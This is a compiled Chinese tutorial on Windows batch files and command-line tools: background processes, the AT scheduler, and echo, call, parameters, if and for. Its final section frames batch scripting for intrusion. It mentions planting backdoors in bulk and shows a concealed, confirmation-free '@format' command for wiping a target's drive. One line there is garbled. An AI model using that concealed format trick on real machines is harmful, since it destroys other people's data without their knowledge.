windows 下批處理相關

在windows下啓動JBoss服務器,需要在命令行中輸入run.bat。但是運行後如果你想停止服務器,可能的做法就是直接按Ctrl+C鍵強行終止服務器,顯然這種方式是不友好的。另一種方法就是再開一個cmd窗口,進入Jboss的bin目錄,然後鍵入shutdown.bat -S.  這樣畢竟費時費力,如果能像Linux下在命令行的後面加一個&讓它在後臺運行,要關閉時就不用另開窗口直接輸入相應的關閉命令就好了。

    答案就在下面:

    在執行的命令前加上start /b,比如start /b run.bat。就相當於Linux下的run.sh &。

 

windows上面查看進程,使用tasklist 命令
linux上面顯示進程 使用 ps -ef 命令
----------------------------------------
在windows上面殺進程用taskkill命令
taskkill /im iperf.exe /t /f
linux上面用killall或者 kill命令
killall iperf1.7 
----------------------------------------
在windows上面後臺運行可以使用start 命令 並且指定/b 選項, linux系統需要在命令後面加上& 符號即可。

後臺運行 iperf.exe 網絡測試程序,並且把輸出保存到 c:\iperf_multicast_server_logfile.txt 
start /b iperf.exe -s -u -l 1k -B 224.0.100.2 -w 1G > c:\iperf_multicast_server_logfile.txt

後臺運行/root/iperf1.7 網絡測試程序,並且把輸出保存到 /root/iperf_multicast_client_logfile.txt 
/root/iperf1.7 -c 224.0.100.2 -u -l 1k -b 400M -w 1G -i 5 -t 60 -T 4 > /root/iperf_multicast_client_logfile.txt&

---------------------------------
windows上面顯示 文本文件內容,可以用type命令。
type   c:\iperf_multicast_server_logfile.txt

Linux上面顯示文本文件內容,使用cat 命令即可
cat /root/iperf_multicast_client_logfile.txt


兩者的區別在於“任務計劃”會在前臺運行,運行帳戶爲當前用戶;

而at命令在後臺運行,運行帳戶爲system。

當然at命令也可以使用/interactive選項在前臺運行。


使用at命令要注意兩點:

  1. 因爲運行帳戶不同,所以一些環境變量是不同的,比如使用pscp遠程拷貝的時候,當前用戶的key已經在註冊表裏,但是system用戶沒有,導致運行失敗。(system如果第一次運行pscp會出現主機驗證,解決方案是要麼用/interactive運行一次,要麼使用pscp -batch)
  2. 只有可執行文件(.exe .bat .com)可以直接使用at命令運行,cmd內置命令(如copy、ren和bat的語法等)要使用at 19:00 cmd /c copy ….的形式來運行,如果bat文件中也包含cmd命令,也要使用這種方式。

NT Server的AT命令詳解 
  Windows NT Server的服務程序管理器只能設置某項服務的啓動方式(自動、手動、失效),而在日常管理工作中,常常要求某項服務能定時開啓、關閉。Windows NT Server提供的AT命令能夠實現這一點。利用它可實現RAS服務定時開關,其具體步驟如下: 
    1.在“設置”“控制面板”“服務”中啓動Schedule服務,並將其啓動方式屬性設置爲自動。 
    2.在命令窗口中使用AT命令設置服務程序的定時啓動關閉。 
    AT命令的格式如下: 
    AT [\\computername] time [/interactive] [/every:date[,]|next:date[,]] ″command″ 
    參數含義: 
    無參數:顯示所有已設置的計劃命令情況。 
    \\computername:指示執行該命令的計算機名,如省略則在本機執行。 
    time:命令執行時間 
    /interactive:當程序執行時是否與正在登錄的用戶進行交互。 
    /every:date[,]:指定程序執行的日期(如每週二、三:/every:T,W),每月1,2號:/every:1,2)。 
    next:date[,]:指定程序下一次執行的日期。 
    ″command″:定時執行的Windows NT命令,程序,批處理。 
    AT [\\computername] [[id][/delete][/yes]] 
    參數含義: 
    id:分配給計劃命令的識別號碼,可由不帶參數的AT命令查到。 
    /delete:取消指定的計劃命令,如果id省略的話,取消所有的計劃命令。 
    /yes:強制對所有的取消詢問回答yes。
  用法一,定時啓動關閉某個服務 
  
  以RAS服務方例,讓該服務在每日19:00啓動,次日7:30關閉,AT命令如下: 
  AT 19:00 /every:M,T,W,Th,F,S,Su net start ″remote access server″ 
  AT 7:30 /every:M,T,W,Th,F,S,Su net stop ″remote access server″ 
  
  用法二,定時關機 
  
  1.編寫一個批處理文件,內容如下: 
  shutdown /l 
  如果是讓機器重新啓動則使用 
  shutdown /r 
  文件存爲c:\autoshut.bat 
  2.建立自動執行條目: 
  at 22:00 c:\autoshut.bat 
  
  這樣每天晚上22:00機器都會自動關機,在關機前會進行30秒鐘的提示. 
  shutdown程序是win2k的Rkit中自帶的,windowxp缺省自帶。
  

在 Windows 2000 中,您可以使用“控制面板”中的“任務計劃”工具來安排任務。您也可以使用 at 命令手動安排任務。本文介紹如何使用 at 命令創建和取消計劃任務。 

AT 命令概述

您可以使用 at 命令來安排命令、腳本或程序在指定的日期和時間運行。您也可以使用此命令查看現有的計劃任務。 

要使用 at 命令,“任務計劃程序”服務必須在運行中,而且您必須以本地管理員組成員的身份登錄。使用 at 命令創建任務時,您必須對任務進行配置,使之在同一用戶帳戶下運行。 

at 命令使用以下語法:
at \\computername time /interactive | /every:date,.../next:date,... command
at \\computername id /delete | /delete/yes
以下列表介紹可用於 at 命令的參數:
  • \\computername:此參數用於指定遠程計算機。如果省略此參數,則任務將安排在本地計算機上運行。
  • time:此參數用於指定運行任務的時間。時間是按 24 小時制的 hour:minutes 形式指定的。例如,0:00 代表午夜,20:30 代表晚上 8:30。
  • /interactive:此參數用於允許任務運行時與處於登錄狀態的用戶的桌面進行交互。
  • /every:date,...:此參數用於安排任務在指定的日期或在一週或一月內指定的一天或多天運行,例如每星期五或每月的第八天。將 date 指定爲一週內的一天或多天(使用下面的縮寫形式:M、T、W、Th、F、S、Su)或一月內的一天或多天(使用數字 1 至 31)。多個日期項之間一定要用逗號隔開。如果省略此參數,則任務將安排在當天執行。
  • /next:date...:此參數用於安排任務在當天之後的某個時間運行(例如,下個星期一)。將 date 指定爲一週內的一天或多天(使用下面的縮寫形式:M、T、W、Th、F、S、Su)或一月內的一天或多天(使用數字 1 至 31)。多個日期項之間一定要用逗號隔開。如果省略此參數,則任務將安排在當天執行。
  • command:此參數用於指定要運行的 Windows 2000 命令、程序(.exe 或 .com 文件)或批處理程序(.bat 或 .cmd 文件)。如果該命令要求使用路徑作爲參數,請使用絕對路徑名(以驅動器號開頭的完整路徑)。如果該命令位於遠程計算機上,請使用統一命名約定 (UNC) 路徑名(\\ServerName\ShareName)。如果該命令不是可執行 (.exe) 文件,必須在命令前面添加 cmd /c,例如,cmd /c copy C:\*.* C:\temp
  • id:此參數用於指定分配給計劃任務的標識號。
  • /delete:此參數用於取消計劃任務。如果省略 id 參數,則將取消計算機上的所有計劃任務。
  • /yes:此參數用於強制對取消計劃任務時系統發出的所有查詢回答“是”。如果省略此參數,系統將提示您確認對任務的刪除。
注意:使用 at 命令時,計劃任務是通過使用系統帳戶憑據來運行的。

如何創建計劃任務

  1. 單擊開始,指向程序,指向附件,然後單擊命令提示符
  2. 在命令提示符下,鍵入下面一行,然後按 Enter 顯示當前運行的服務的列表:
    net start
    如果“任務計劃程序”未顯示在列表中,則請鍵入下面一行,然後按 Enter:
    net start "task scheduler"
  3. 在命令提示符下,鍵入下面一行(使用與您的情況相符的參數),然後按 Enter:
    at \\computername time /interactive | /every:date,.../next:date,... command

示例

  • 要想在午夜將“Documents”文件夾中的所有文件複製到“MyDocs”文件夾中,請鍵入下面一行,然後按 Enter:
    at 00:00 cmd /c copy C:\Documents\*.* C:\MyDocs
  • 要想在每個工作日晚上 11:00 備份“Products”服務器,請創建包含備份命令的批處理文件(例如 Backup.bat),鍵入下面一行,然後按 Enter 安排該備份任務:
    at \\products 23:00 /every:M,T,W,Th,F backup
  • 要想安排 net share 命令上午 6:00 在“Sales”服務器上運行,並將列表重定向到“Corp”服務器上的共享文件夾“Reports”中的“Sales.txt”文件,請鍵入下面一行,然後按 Enter:
    at \\sales 06:00 cmd /c "net share reports=d:\Documents\reports >> \\corp\reports\sales.txt"

如何取消計劃任務

  1. 單擊開始,指向程序,指向附件,然後單擊命令提示符
  2. 在命令提示符下,鍵入下面一行,然後按 Enter 顯示當前運行的服務的列表:
    net start
    如果“任務計劃程序”未顯示在列表中,則請鍵入下面一行,然後按 Enter:
    net start "task scheduler"
  3. 在命令提示符下,鍵入下面一行(使用與您的情況相符的參數),然後按 Enter:
    at \\computername id /delete | /delete/yes

示例

  • 要取消在本地計算機上安排的所有任務,請鍵入 at /delete,然後按 Enter。
  • 要取消名爲“MyServer”的計算機上的 ID 爲 8 的任務,請鍵入 at \\MyServer 8 /delete,然後按 Enter。

如何查看計劃任務

要查看通過使用 at 命令創建的任務,請按照下列步驟操作:
  1. 單擊開始,指向程序,指向附件,然後單擊命令提示符
  2. 在命令提示符下,鍵入下面一行,然後按 Enter 顯示當前運行的服務的列表:
    net start
    如果“任務計劃程序”未顯示在列表中,則請鍵入下面一行,然後按 Enter:
    net start "task scheduler"
  3. 在命令提示符下,執行下列步驟之一:
    • 要查看通過使用 at 命令安排的任務的列表,請鍵入下面一行,然後按 Enter:
      at \\computername
      - 或 - 

    • 要查看特定的計劃任務,請鍵入下面一行,然後按 Enter:
      at \\computername id

示例

  • 要查看本地計算機上的所有計劃任務,請鍵入 at,然後按 Enter。
  • 要查看名爲“Support”計算機上的所有計劃任務,請鍵入 at \support,然後按 Enter。
  • 要查看本地計算機上 ID 爲 18 的任務,請鍵入 at 18,然後按 Enter。

疑難解答

  • 當您鍵入 at \\computername 以查看計劃任務列表時,使用 at 命令創建的某些(或全部)計劃任務沒有列出。 

    使用 at 命令創建任務後,如果在“計劃任務”文件夾中修改了任務,則可能會發生此問題。當您使用 at 命令安排任務時,該任務顯示在“控制面板”中的“計劃任務”文件夾中。您可以查看或修改任務。但是,如果修改了任務,當您使用 at 命令時,將無法查看任務。 

    要解決此問題,請在“控制面板”中的“任務計劃”文件夾中查看或修改該任務。有關此現象的其他信息,請單擊下面的文章編號,以查看 Microsoft 知識庫中相應的文章:
    220149  無法使用任務計劃程序工具查看 AT 任務
  • 當您使用 at 命令安排任務時,該任務在指定的時間或日期不運行。 

    如果滿足下列任一條件,就會發生這種現象:
    • 該命令的語法不正確。 

      安排任務後,請鍵入 at \\computername 以確認語法正確。如果命令行下顯示的信息不正確,請取消該任務,然後重新創建它。 

      - 或 -
    • 您安排的任務運行的命令不是 .exe 文件。 

      at 命令在運行命令之前不自動加載 cmd(命令解釋器)。除非您運行的是 .exe 文件,否則您必須在命令的開頭加載 Cmd.exe,例如 at cmd /c dir > c:\test.txt
有關 AT 命令疑難解答的其他信息,請單擊下面的文章編號,以查看 Microsoft 知識庫中相應的文章:
142040  使用 /k 開關的 AT 命令疑難解答
121562  使用 AT 命令啓動的應用程序不是交互式應用程序

--------------------

 如何創建批處理文件?

    不要聽了批處理文件就感到很神氣,其實這東西很簡單的.你用過記事本沒有?用過? 好的.將記事本打開,什麼都不用寫,然後選擇文件,保存.保存類型選擇所有文件,文件名則命名爲 *.bat 這個*代表是文件名,你可以隨便的起.保存好之後,看看你保存的地方,會出現一個白色窗口裏有個黃色齒輪的圖標.這東西就是你創建的批處理文件,雙擊他就可以運行,但他現在由於裏面沒有輸入任何命令,所以他運行了並不會做任何事情.當我們想往這個*.bat文件中添加東西時,只要右鍵選擇他,然後選擇編輯,就可以打開記事本往內輸入命令了.

  批處理文件中的命令是什麼?

  批處理文件中的命令暫時先可以理解爲dos命令,等稍後深入理解了以後再進行解釋.批處理顧名思義就是一大堆東西堆在一起處理.換句話說就是往裏面寫一條條dos命令,然後按順序挨個執行,效果跟你在cmd裏敲dos命令是一個效果.只不過用批處理寫好之後,要運行只要雙擊下就可以運行了.而不用再一遍一遍的重複的往裏面打命令.這就是批處理文件的好處.

  除了運行dos命令之外,他還可以支持選擇結構if,循環結構for,goto等,與c有點類似,但遠沒有c全面,並且編寫語言十分不規範.

  批處理語法:

先講個最基本的東西 @echo off

  echo的意思是迴旋,這裏的意思就是回顯,echo off意思就是關閉回顯.前面的@表示echo off 這一行也不會回顯你可以試着去掉@和整行去掉.@的另一個功能是在執行完批處理文件時自動恢復命令回顯。如果第一句用的是ECHO OFF,那麼在執行完批處理文件以後不會顯示命令提示符。

舉個例子:如果我們先創建一個1.bat文件,往裏面輸入:

dir 然後保存在c:\下.然後我們運行cmd,進入c盤根目錄下,輸入1.bat,則顯示:

C:\>dir
驅動器 C 中的卷沒有標籤。
卷的序列號是 0C5D-07FF

C:\ 的目錄

2004-08-25   00:45     <DIR>           WINDOWS
2004-08-25   00:51     <DIR>           Documents and Settings

...........

C:\

如果將1.bat內容修改成

echo off

dir

然後再在cmd裏輸入1.bat,則會顯示

C:\>echo off       //因爲運行了echo off,所以沒有顯示dir命令,直接顯示了結果
驅動器 C 中的卷沒有標籤。
卷的序列號是 0C5D-07FF

C:\ 的目錄

2004-08-25   00:45     <DIR>           WINDOWS
2004-08-25   00:51     <DIR>           Documents and Settings

.....

C:\

如果將1.bat文件修改成:

@echo off
dir

則顯示成:

C:\>1.bat          //與前面不同,並沒有顯示echo off,原因是加了@,所以不顯示@後面的內容.又因爲加

        //了echo off,所以後面的命令不顯示,直接顯示結果
驅動器 C 中的卷沒有標籤。
卷的序列號是 0C5D-07FF

C:\ 的目錄

2004-08-25   00:45     <DIR>           WINDOWS
2004-08-25   00:51     <DIR>           Documents and Settings

....

C:\

通過以上的比較,相信你對echo off命令已經充分掌握了.現在已經1點了...寫得累啊!!!洗澡睡覺去了

----------------------

早晨6點就被拉起來了...我命苦啊,那麼繼續寫吧

----------------------

接下來講的是call命令

call是打電話的call,而不是"喔靠"的靠:).call的意思爲調用.假如有2個批處理文件a.bat和b.bat.如果我想運行a.bat的當中運行b.bat.如何運行呢?其實很簡單,只要在a.bat文件中輸入call命令,則可以在a.bat運行的當中,運行b.bat,等b.bat運行完之後,繼續執行a.bat

call命令格式:

CALL [drive:][path]filename [batch-parameters]

   batch-parameters    指定批處理程序所需的命令行信息。

舉例如下,我們在c盤根目錄下創建a.bat文件,內容爲:

echo this is a.bat

call d:\b.bat

echo done

然後在d盤根目錄下創建b.bat,內容爲:

echo this is b.bat

保存後,打開cmd,進入c盤根目錄,然後輸入1.bat,顯示如下:

C:\>a.bat

C:\>echo this is a.bat
this is a.bat

C:\>call d:\b.bat

C:\>echo this is b.bat
this is b.bat

C:\>echo done
done

由例子很容易看出來,是先運行a.bat的內容,直到遇到call b.bat後,則調用b.bat,運行完b.bat後,再返回a.bat接着運行call b.bat後面的echo done語句,直至將a.bat的所有批處理命令運行完.

注:裏面有個[batch-parameters]裏面的所指的參數是什麼,知道的朋友能否告知,不勝感激.

PAUSE 命令

暫停批處理程序的執行並顯示一條消息,提示用戶按任意鍵繼續執行。只能在批處理程序中使用該命令。

rem命令:

表示此命令後的字符爲解釋行(註釋),不執行,只是給自己今後參考用的(相當於程序中的註釋).

同時你可以用兩個冒號來替代rem.如: ::等同於一個rem.但他們有個區別,就是用::作註釋的話他是不回顯的,即使你打echo on強制回顯也沒有同的.同時rem可以在config.sys中加註釋.

語法: rem[commnet]

批處理文件參數:

有點變成基礎的人都知道函數有參數.批處理文件也有參數.

我打個比方,希望能幫助沒有語言基礎的人也能看的非常明白. 

我從例子裏開始吧.首先在c盤根目錄下創建一個批處理文件 a.bat,裏面輸入內容

echo %1

然後打開cmd,然後進入c盤根目錄.輸入:a "this is a canshu"

得到結果如下:

C:\>a.bat "this is a test"

C:\>echo "this is a test"
"this is a test"

  輸入的a "this is a canshu"中,a爲新建的a.bat的文件名a(後面的.bat可寫也可不寫),而a後面的 "this is a canshu"這句話就是參數,寫在這的參數,在程序運行中就將參數自動放到批處理程序中去.那麼放在什麼位置呢?就是放在 %1的地方.

  看了例子,讓我們看看整個關於參數的定義如何:

  批處理文件還可以像C語言的函數一樣使用參數(相當於DOS命令的命令行參數),這需要用到一個參數表示符"%"。 
  %[1-9]表示參數,參數是指在運行批處理文件時在文件名後加的以空格(或者Tab)分隔的字符串。變量可以從%0到%9,%0表示批處理命令本身,其它參數字符串用%1到%9順序表示。
//我們上個程序的例子裏就有%1,他就是參數,而輸入中"this is a test"作爲參數就直接放到%1的位置,於是程序就變成了 echo "this is a test".

  再舉幾個例子幫助你理解:

C:根目錄下一批處理文件名爲b.bat,內容爲: 
@echo off 
type %1     //type爲dos中的輸出命令,可以用來輸出文本文件的內容,比如我們新建一個1.txt文件

         //裏面輸入內容,保存.進cmd,如果輸入1.txt則看不了1.txt文件內容,但是如果我

         //想看怎麼辦呢?這時候可以用type命令,只要在cmd裏輸入type 1.txt就能顯示

         //1.txt文件中的內容了 
type %2 

那麼運行C:\>b a.txt b.txt 
%1 : 表示a.txt 
%2 : 表示b.txt

於是上面的批處理命令就變成了

@echo off

type a.txt

type b.txt
於是上面的命令將順序地顯示a.txt和b.txt文件的內容。

沒有編程基礎的人可能要問,幹什麼要弄個參數啊?在後面加個參數多麻煩啊?直接往裏面寫不就好了啊?!其實這樣想有對的方面也有錯的方面.還是舉個例子說明吧.

第一步還是在c盤根目錄下新建一個批處理文件,我們取名仍爲a.bat.往裏面的內容輸入爲:

ping %1  //ping命令可以簡單理解爲測試一臺機器開着還是沒有開,如果開着的話,他就回給你回送迴應.

然後進cmd,我們想測試下163的服務器是不是開着,則輸入a www.163.com

  對於知道ping命令的人,可以打ping進行檢查,但如果想ping的人不知道ping命令怎麼用,那怎麼辦啊?這時候你就可以把命令預先輸入到批處理文件中,保存好,然後讓不會用的人進cmd,運行你的批處理文件,文件名後面加上他要ping 的網站地址就行了.換句話說,他想ping 163就直接加163的網址,想ping sina就直接加sina的網址.這樣只要輸入一個參數,而不用改程序本身,整個程序的通用性就大大提高了.

  這是對於一個簡單的ping命令,你或許覺得用參數不值得,還是直接改不就好了啊.但如果程序有很多條,你一下找不到在哪改怎麼辦啊?所以,不管你是菜哥,菜弟,菜姐,菜妹,只要運行下,輸入參數,結果自己就會出來,不用再象你一樣,考慮怎麼編寫批處理文件.人家只要知道是輸入什麼東西能讓批處理程序運行,而編寫的人則想的是如何讓不懂程序的人能運行程序.

  批處理參數就這麼簡單,不知道你理解了沒有?但如果你想深一步瞭解批處理參數,可以接着往下看,如果不想深入瞭解,知道現在這麼多也就夠了.

以下粉紅色內容爲網上資料.

====================================

  因爲參數只有1%-9%,但當我們要引用第十個或更多個參數時, 就必須移動DOS 的參數起始指針. shift 命令正充當了這個移動指針的角色, 它將參數的起始指針移動到下一個參數, 類似C 語言中的指針操作. 圖示如下:

初始狀態, cmd 爲命令名, 可以用 %0 引用 
cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10 
^      ^        ^      ^       ^       ^       ^       ^       ^       ^ 
&line;        &line;         &line;       &line;         &line;        &line;        &line;         &line;        &line;        &line; 
%0   %1     %2    %3    %4    %5    %6     %7    %8    %9

經過1次shift後, cmd 將無法被引用 
cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10 
^      ^        ^      ^       ^       ^       ^       ^       ^       ^ 
&line;        &line;         &line;       &line;         &line;        &line;        &line;         &line;        &line;        &line; 
%0   %1     %2    %3    %4    %5    %6     %7    %8    %9

經過2次shift後, arg1也被廢棄, %9指向爲空, 沒有引用意義 
cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10 
^      ^        ^      ^       ^       ^       ^       ^       ^       ^ 
&line;        &line;         &line;       &line;         &line;        &line;        &line;         &line;        &line;        &line; 
%0   %1     %2    %3    %4    %5    %6     %7    %8    %9

遺憾的是, win9x 和DOS下均不支持 shift 的逆操作. 只有在 nt 內核命令行環境下, shift 才支持 /n 參數, 可以以第一參數爲基準返復移動起始指針. 
=================

if goto choice for高級語法

今天就寫到這吧,我收拾收拾東西準備滾蛋回學校了.可能if goto choice for高級語法要在瀋陽才能完成了,祝我好運吧.

======================

學校的"網吧"終於算重新開張了,抓緊時間把剩下的寫完

if命令

說得通俗點,if就相當於我們白話裏的如果.

舉個例子:如果a喜歡b,那麼a就要娶b. 這句話翻譯成計算機語言就成了

if a喜歡b a就要娶b.

當然拉,計算機不可能理解a喜歡b,a就要娶b這兩句話,這裏只是舉個例子讓你方便理解.

if語句一共有3種模式,如下:


IF [NOT] string1==string2 command
IF [NOT] EXIST filename command
IF [NOT] ERRORLEVEL number command

 NOT                指定只有條件爲 false 的情況下, Windows XP 才應該執行該命令。

 ERRORLEVEL number 如果最後運行的程序返回一個等於或大於指定數字的退出編碼,指定條件爲 true。

 string1==string2   如果指定的文字字符串匹配,指定條件爲 true。

 EXIST filename     如果指定的文件名存在,指定條件爲 true。

 command            如果符合條件,指定要執行的命令。如果指定的條件爲 FALSE,命令後可跟一個執行 ELSE關鍵字後的命令的 ELSE 命令。

我們先講解第一種:

IF [NOT] string1==string2 command

自然語句意思:如果string1==string2,那麼執行command

下面再舉個能實際應用的if語句.

自然語句:如果輸入的參數爲3,那麼顯示"a=3"

計算機語句:

@echo off
if "%1"=="3" echo "a=3"

或者寫成

@echo off
if %1==3 echo "a=3"

注意:當要測試的時候,因在cmd底下,輸入1.bat 3.因爲這裏用了是傳遞參數,具體看文章前部分"批處理文件參數".

第二種:

IF [NOT] EXIST filename command

這條命令用語檢測文件是否存在.如果存在,執行command.如果不存在,則什麼也不顯示.

如:我們想檢查e盤根目錄下是否有一個叫2.txt的文件.如果存在,則顯示exist.如果不存在,則什麼也不顯示.

批處理命令如下:

@echo off
if exist e:\2.txt echo "exist 2.txt"

第三種:

IF [NOT] ERRORLEVEL number command

這個我引用點資料,感覺別人寫得更詳細,引用部分爲粉色字部分:

if errorlevel <數字> 待執行的命令

很多DOS程序在運行結束後會返回一個數字值用來表示程序運行的結果(或者狀態),通過if errorlevel命令可以判斷程序的返回值,根據不同的返回值來決定執行不同的命令(返回值必須按照從大到小的順序排列)。如果返回值等於指定的數字,則條件成立,運行命令,否則運行下一句。

如if errorlevel 2 goto x2

==== 注 =========== 
返回值從大到小的順序排列不是必須的, 而只是執行命令爲 goto 時的習慣用法, 當使用 set 作爲執行命令時, 通常會從小到大順序排列, 比如需將返回碼置入環境變量, 就需使用以下的順序形式:

if errorlevel 1 set el=1 
if errorlevel 2 set el=2 
if errorlevel 3 set el=3 
if errorlevel 4 set el=4 
if errorlevel 5 set el=5 
...

當然, 也可以使用以下循環來替代, 原理是一致的: 
for %%e in (1 2 3 4 5 6 7 8...) do if errorlevel %%e set el=%%e 
//此處爲一個for循環,後面會繼續                        介紹到的,看不懂可以先跳過去

if errorlevel 比較返回碼的判斷條件並非等於, 而是大於等於. 由於 goto 的跳轉特性, 由小到大排序會導致在較小的返回碼處就跳出; 而由於 set命令的 "重複" 賦值特性, 由大到小排序會導致較小的返回碼 "覆蓋" 較大的返回碼.

另外, 雖然 if errorlevel=<數字> command 也是有效的命令行, 但也只是 command.com 解釋命令行時將 = 作爲命令行切分符而忽略掉罷了 

choice命令

????

goto命令

for命令

for命令其實就是一個循環命令,如果我們想重複一個語句,就可以用for命令.通過for命令,可以控制循環的次數等.

語法:

FOR %variable IN (set) DO command [command-parameters]

   %variable   指定一個單一字母可替換的參數。
   (set)       指定一個或一組文件。可以使用通配符。
   command     指定對每個文件執行的命令。
   command-parameters
              爲特定命令指定參數或命令行開關。

在批處理文件中使用 FOR 命令時,指定變量請使用 %%variable
而不要用 %variable。變量名稱是區分大小寫的,所以 %i 不同於 %I.

  不知道你你看懂了沒有,其實還是很容易理解的,還是舉個例子吧.我想用type打印所有c盤根目錄下的bat文件和txt文件.dos底下命令就是 type *.bat *.txt.先將該文件保存在c盤根目錄下,名稱爲a.bat

用for命令如下:

for %%t in (*.bat *.txt) do type %%t

%%t其實就是代表的一個參數,他的內容在in() 裏面括號裏的內容.也就是說這句話裏的%%t就變成了*.bat *.txt了.do就是做的意思,執行type命令,而type後面是%%t,而%%t又是*.bat *.txt.所以原來這句命令的意思就變成了:

type *.bat *.txt

執行時進cmd,然後到c盤根目錄下輸入a.bat就可以打印出c盤根目錄下所有擴展名爲.bat和.txt的文件內容了.

這裏要注意:in後面有個空格.

 

在xp底下,for命令擴展名被起用因此for的功能變得更加強大.下面講一個真正的循環.


FOR /L %variable IN (start,step,end) DO command [command-parameters]

     該集表示以增量形式從開始到結束的一個數字序列。
     因此,(1,1,5) 將產生序列 1 2 3 4 5,(5,-1,1) 將產生
     序列 (5 4 3 2 1)

裏面第一個1在start的位置,意思是起始位置,第2個1在step位置,英文意思是跨步,在這裏面的意思是每次增量爲1.後面的5在end的位置,意思是結束時的大小.

這句話的意思就是從1(start)開始增加,每次增加1(step),一直到變到5(end)爲止.

這個有什麼用呢?其實我感覺這個東西的用處還是很大的.舉個最簡單的例子,我們想重複回顯"i am the best"這句話,重複顯示10遍.那麼for命令如下:

for /L %%e in (1,1,10) do echo "i am the best"

這時,cmd就會重複輸入"i am the best"10遍.

===============================================

看完整篇文章了嗎?咳...我寫的不容易啊....

現在不知道你對bat有了什麼樣的理解,我現在的感覺就是bat就是dos命令的組合,你把dos命令全寫進bat命令,只要運行下bat就會挨個執行dos命令,這無疑提供了不少的方便。

下面我再舉些實例.

刪除默認共享:

對於默認共享不知道你瞭解多少,反正留着是個隱患,現在唯一的辦法好象只能做個bat文件進行刪除.命令如下:

net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete
net share e$ /delete

……

裏面的c d e爲你的盤符。如果你只有一個分區,那麼寫到net share c$ /delete爲止就可以了。如果你有n個分區,那麼就挨個寫下去。

net share d$ /delete
net share e$ /delete

net share f$ /delete

net share g$ /delete……

登陸到局域網的機器快捷方式(對方機器有密碼且爲2000或以上系統)

net use \\192.168.0.1 [密碼] /user:[用戶名]
explorer \\192.168.0.1

bat文件備份註冊表

set regfile=%date%    //設置變量,下面出現%regfile%的都自動替換“當天date”

if exist "%regfile%" goto end    //如果發現當天date命名的目錄,跳到文件尾。
md temp        //建temp目錄


call 1.bat       //調用1.bat
del   1.bat          
ren 2.bat 1.bat
ren 3.bat 2.bat
ren 4.bat 3.bat
echo move   "%regfile%"   temp >4.bat   //寫 移動“當天date命名的目錄”到temp的bat文件   。

md "%regfile%"    //建當天date命名的目錄
cd "%regfile%"   //進入

reg export hkcu hkcu.reg    //導出註冊表
reg export hklm hklm.reg   
                               //HKEY_CURRENT_USER   縮寫hkcu 。存放當前用戶個人數據
                               //HKEY_LOCAL_MACHINE   縮寫hklm 。系統的核心數據 
cd.. 
deltree /y   temp >nul         ////返回上級目錄   ,刪temp文件夾 
:end

--------------------------
 

Windows Bat 語法

 1504人閱讀 評論(0) 收藏 舉報
windows批處理
批處理文件是無格式的文本文件,它包含一條或多條命令。它的文件擴展名爲 .bat 或 .cmd。在命令提示下鍵入批處理文件的名稱,或者雙擊該批處理文件,系統就會調用Cmd.exe按照該文件中各個命令出現的順序來逐個運行它們。使用批 處理文件(也被稱爲批處理程序或腳本),可以簡化日常或重複性任務。當然我們的這個版本的主要內容是介紹批處理在入侵中一些實際運用,例如我們後面要提到 的用批處理文件來給系統打補丁、批量植入後門程序等。下面就開始我們批處理學習之旅吧。

            一.簡單批處理內部命令簡介
        
            1.echo 命令
            打開回顯或關閉請求回顯功能,或顯示消息。如果沒有任何參數,echo 命令將顯示當前回顯設置。
            語法
            echo [{on|off}] [message]
            Sample:@echo off / echo hello world
            在實際應用中我們會把這條命令和重定向符號(也稱爲管道符號,一般用> >> ^)結合來實現輸入一些命令到特定格式的文件中.這將在以後的例子中體現出來。

            2.@ 命令
            表示不顯示@後面的命令,在入侵過程中(例如使用批處理來格式化敵人的硬盤)自然不能讓對方看到你使用的命令啦。
            Sample:@echo off
            @echo Now initializing the program,please wait a minite...
            @format X: /q/u/autoset (format 這個命令是不可以使用/y這個參數的,可喜的是微軟留了個autoset這個參數給我們,效果和/y是一樣的。)

            3.goto 命令
            指定跳轉到標籤,找到標籤後,程序將處理從下一行開始的命令。
            語法:goto label (label是參數,指定所要轉向的批處理程序中的行。)
            Sample:
            if {%1}=={} goto noparms
            if {%2}=={} goto noparms(如果這裏的if、%1、%2你不明白的話,先跳過去,後面會有詳細的解釋。)
            @Rem check parameters if null show usage
            :noparms
            echo Usage: monitor.bat ServerIP PortNumber
            goto end
            標籤的名字可以隨便起,但是最好是有意義的字母啦,字母前加個:用來表示這個字母是標籤,goto命令就是根據這個:來尋找下一步跳到到那裏。最好有一些說明這樣你別人看起來纔會理解你的意圖啊。

            4.Rem 命令
            註釋命令,在C語言中相當與/*--------*/,它並不會被執行,只是起一個註釋的作用,便於別人閱讀和你自己日後修改。
            Rem Message
            Sample:@Rem Here is the descr1ption.

            5.Pause 命令
            運行 Pause 命令時,將顯示下面的消息:
            Press any key to continue . . .
            Sample:
            @echo off
            :begin
            copy a:*.* d:back
            echo Please put a new disk into driver A
            pause
            goto begin
            在這個例子中,驅動器 A 中磁盤上的所有文件均複製到d:back中。顯示的註釋提示您將另一張磁盤放入驅動器 A 時,pause 命令會使程序掛起,以便您更換磁盤,然後按我餳 絛 懟?

            6.Call 命令
            從一個批處理程序調用另一個批處理程序,並且不終止父批處理程序。call 命令接受用作調用目標的標籤。如果在腳本或批處理文件外使用 Call,它將不會在命令行起作用。
            語法
            call [Drive:][Path] FileName [BatchParameters] [:label [arguments]
            參數
            [Drive:}[Path] FileName
            指定要調用的批處理程序的位置和名稱。filename 參數必須具有 .bat 或 .cmd 擴展名。

            7.start 命令
            調用外部程序,所有的DOS命令和命令行程序都可以由start命令來調用。
            入侵常用參數:
            MIN 開始時窗口最小化
            SEPARATE 在分開的空間內開始 16 位 Windows 程序
            HIGH 在 HIGH 優先級類別開始應用程序
            REALTIME 在 REALTIME 優先級類別開始應用程序
            WAIT 啓動應用程序並等候它結束
            parameters 這些爲傳送到命令/程序的參數
            執行的應用程序是 32-位 GUI 應用程序時,CMD.EXE 不等應用程序終止就返回命令提示。如果在命令腳本內執行,該新行爲則不會發生。
            8.choice 命令
            choice 使用此命令可以讓用戶輸入一個字符,從而運行不同的命令。使用時應該加/c:參數,c:後應寫提示可輸入的字符,之間無空格。它的返回碼爲1234……
            如: choice /c:dme defrag,mem,end
            將顯示
            defrag,mem,end[D,M,E]?
            Sample:
            Sample.bat的內容如下:
            @echo off
            choice /c:dme defrag,mem,end
